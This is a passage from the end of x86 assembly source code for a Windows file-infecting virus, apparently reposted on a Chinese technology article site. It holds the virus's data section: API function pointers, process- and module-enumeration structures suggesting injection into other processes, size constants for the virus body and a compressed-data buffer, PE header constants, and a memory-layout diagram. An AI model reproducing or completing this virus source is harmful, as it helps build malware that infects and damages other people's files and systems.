lpfnSetFileAttributesW dd ?
lpfnGetFileSize dd ?
lpfnMultiByteToWideChar dd ?
ife SKIP_CURRENT_PROCESS
lpfnGetCurrentProcessId dd ?
endif
if ERROR_DIAGNOSE
lpfnGetLastError dd ?
endif
VIRUS_PHYSICAL_SIZE = $ - BaseOfVirusCode
VIRUS_VIRTUAL_SIZE = 00001000h
VIRUS_ALIGN_SIZE = (VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED + 00000400h)
VIRUS_BOOTING_SIZE = (VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED)
DynamicDataArea = $
ReturnValueFromRemoteProcess dd ?
dwOldProtect dd ?
ProcessEntry32 = $
pe_dwSize = ProcessEntry32 + 0000h
pe_th32ProcessID = ProcessEntry32 + 0008h
pe_szExeFile = ProcessEntry32 + 0024h
ife NOT_INFECT_FILES
ModuleEntry32 = $
else
ModuleEntry32 = $ + 00000128h
endif
me_dwSize = ModuleEntry32 + 0000h
me_modBaseAddr = ModuleEntry32 + 0014h
PADDING_DATA_LENGTH = (VIRUS_ALIGN_SIZE-($-BaseOfVirusCode))
PaddingData db (PADDING_DATA_LENGTH) dup (0)
; _______________________________________________ ___
;|(0x0000) | |
;| | |
;| Virus Code | | 00001000h
;| | |
;|_______________________________________________| _|_
;|(0x1000) | |
;| | |
;| Buffer For Data Compressed | | 00004000h
;| | |
;| | |
;| | |
;| | |
;| | |
;|_______________________________________________| _|_
DOS_HAEDER_SIZE = 00000040h
SIZE_OF_IMPORT_DESCRIPTOR = 00000014h
SIZE_OF_IMAGE_SECTION_HEADER = 00000028h
MAX_SIZE_TO_COMPRESS = 00004000h
MAX_SIZE_COMPRESSED = 00004000h
DELTA_X = BaseOfVirusCode - @X
lpBufferForDataCompressed = DELTA_X + 00001000h
VirSegment ends
end VirtualEntry
本文地址:http://com.8s8s.com/it/it23137.htm